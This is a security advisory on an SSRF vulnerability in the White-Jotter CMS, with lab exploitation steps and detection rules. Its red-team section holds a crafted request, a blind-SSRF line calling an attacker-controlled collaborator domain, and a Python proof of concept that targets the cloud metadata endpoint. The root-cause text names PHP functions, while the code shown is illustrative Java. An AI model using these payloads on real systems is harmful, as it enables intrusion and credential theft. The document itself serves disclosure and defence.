CVE-2024-13032

Executive Summary

CVE-2024-13032 is a Server-Side Request Forgery (SSRF) vulnerability identified in Antabot White-Jotter, a content management system, up to version 0.2.2. The flaw resides in the /admin/content/editor endpoint, specifically within the articleCover parameter. An authenticated attacker can manipulate this parameter to force the server to make arbitrary HTTP requests to internal or external resources. This can lead to internal network reconnaissance, access to cloud metadata endpoints, or other internal services. The vulnerability has been publicly disclosed with proof-of-concept code, and no official patch is currently available. The CVSS score is 5.4 (Medium), but the impact is amplified by the potential for lateral movement and data exfiltration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires an authenticated user role.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the SSRF nature of the vulnerability can be chained with other attacks (e.g., cloud metadata theft) to achieve higher impact.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the article editor component. The application fails to validate or sanitize the articleCover parameter, which is intended to accept a URL for an image. When the server processes this parameter, it fetches the resource from the provided URL without any restrictions on the target host or protocol.

Attack Flow:

1. An attacker with editor-level privileges logs into the White-Jotter admin panel.
2. The attacker navigates to /admin/content/editor and creates or edits an article.
3. In the articleCover field, the attacker inputs a malicious URL, such as http://169.254.169.254/latest/meta-data/ (AWS metadata endpoint) or http://internal-service.local/.
4. The server makes an HTTP request to the attacker-controlled URL.
5. The response is then reflected back to the attacker, either in the application response or through an out-of-band channel (e.g., DNS exfiltration).

Root Cause: The application uses a function like file_get_contents() or curl_exec() on user-supplied input without a whitelist of allowed domains or protocols.

Vulnerable vs. Patched Code

Vulnerable Code (White-Jotter <= 0.2.2):

// Example in Java/Spring Boot
@PostMapping("/admin/content/editor")
public String saveArticle(@RequestParam("articleCover") String coverUrl) {
    // No validation
    URL url = new URL(coverUrl);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    // ... fetch and save image
}

Patched Code (Hypothetical):

@PostMapping("/admin/content/editor")
public String saveArticle(@RequestParam("articleCover") String coverUrl) {
    // Validate URL
    if (!isAllowedDomain(coverUrl)) {
        throw new SecurityException("Invalid cover URL");
    }
    // Use a whitelist of allowed domains
    URL url = new URL(coverUrl);
    // ... fetch and save image
}

private boolean isAllowedDomain(String url) {
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        // Only allow specific image hosting domains
        return host.endsWith(".imgur.com") || host.equals("images.example.com");
    } catch (Exception e) {
        return false;
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: White-Jotter 0.2.2 running on a local VM (e.g., Ubuntu 22.04 with Docker).
• Attacker: Kali Linux with Burp Suite and netcat.
• Internal Service: A simple HTTP server on 192.168.1.100:8080 simulating an internal resource.

Exploitation Steps:

1. Authenticate to the admin panel (e.g., admin:admin).
2. Intercept the request to /admin/content/editor using Burp Suite.
3. Modify the articleCover parameter to point to an internal service:

   POST /admin/content/editor HTTP/1.1
   Host: target.local
   Cookie: JSESSIONID=...
   Content-Type: application/x-www-form-urlencoded
   
   articleCover=http://192.168.1.100:8080/internal-secret&title=test
   

4. Observe the response. If the server returns the fetched content, the SSRF is successful.
5. For blind SSRF, use a collaborator or DNS exfiltration:

   articleCover=http://attacker-controlled-domain.burpcollaborator.net/test
   

Proof-of-Concept (Python):

import requests

target = "http://target.local/admin/content/editor"
cookies = {"JSESSIONID": "your_session_id"}
payload = {"articleCover": "http://169.254.169.254/latest/meta-data/", "title": "poc"}

response = requests.post(target, data=payload, cookies=cookies)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor outbound HTTP requests from the application server to unexpected IPs (especially RFC 1918 addresses or cloud metadata IPs).
• Look for articleCover parameters containing IP addresses or unusual URLs in web server logs.
• Use the Sigma rule below to detect SSRF attempts.

Mitigation:

• Immediately restrict outbound network access from the application server using a firewall or egress filtering.
• Implement a web application firewall (WAF) rule to block requests with articleCover containing private IPs or metadata endpoints.
• If possible, disable the articleCover feature until a patch is available.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to 169.254.169.254, 100.100.100.200, or other cloud metadata IPs.
  • Requests to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) from the application server.
  • DNS queries for unusual domains (e.g., *.burpcollaborator.net).
• Logs:
  • Web server logs showing articleCover parameter with IP addresses or non-standard URLs.
  • Application logs with errors related to URL fetching (e.g., java.net.ConnectException).
• File System:
  • Temporary files in /tmp/ or similar directories with names like cover_*.jpg that are actually HTML or text content.

Detection Engineering

YARA Rule

rule ssrf_white_jotter_article_cover {
    meta:
        description = "Detects SSRF attempts in White-Jotter articleCover parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13032"
    strings:
        $param = "articleCover=" nocase
        $ip_private = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
        $metadata = /169\.254\.169\.254|100\.100\.100\.200/
        $schema = /file:\/\/|gopher:\/\/|dict:\/\/|ftp:\/\//
    condition:
        $param and ($ip_private or $metadata or $schema)
}

Sigma Rule

title: SSRF via articleCover Parameter in White-Jotter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts targeting internal IPs or cloud metadata via the articleCover parameter.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "articleCover="
    keywords:
        - "169.254.169.254"
        - "100.100.100.200"
        - "10."
        - "172.16."
        - "172.17."
        - "172.18."
        - "172.19."
        - "172.20."
        - "172.21."
        - "172.22."
        - "172.23."
        - "172.24."
        - "172.25."
        - "172.26."
        - "172.27."
        - "172.28."
        - "172.29."
        - "172.30."
        - "172.31."
        - "192.168."
    condition: selection and keywords
falsepositives:
    - Legitimate use of internal image URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13032 - SSRF via articleCover in White-Jotter";
    flow:to_server,established;
    content:"articleCover="; http_client_body;
    pcre:"/(169\.254\.169\.254|100\.100\.100\.200|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/Ri";
    sid:10000001;
    rev:1;
    metadata:created_at 2025_04_10, cve CVE-2024-13032;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the articleCover feature in the application configuration or via a WAF rule.
2. Apply egress filtering on the application server to block outbound traffic to private IP ranges and cloud metadata endpoints.
3. Upgrade to a patched version once available. Monitor the Antabot GitHub repository for updates.

Long-Term Fixes:

• Implement a strict URL whitelist for the articleCover parameter (e.g., only allow specific image hosting domains).
• Use a URL validation library that rejects private IPs and non-HTTP/HTTPS protocols.
• Perform server-side validation of the fetched content to ensure it is an image (e.g., check MIME type).

Workaround:

• If the feature is critical, proxy all image fetches through a dedicated service that enforces allowlists and rate limiting.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert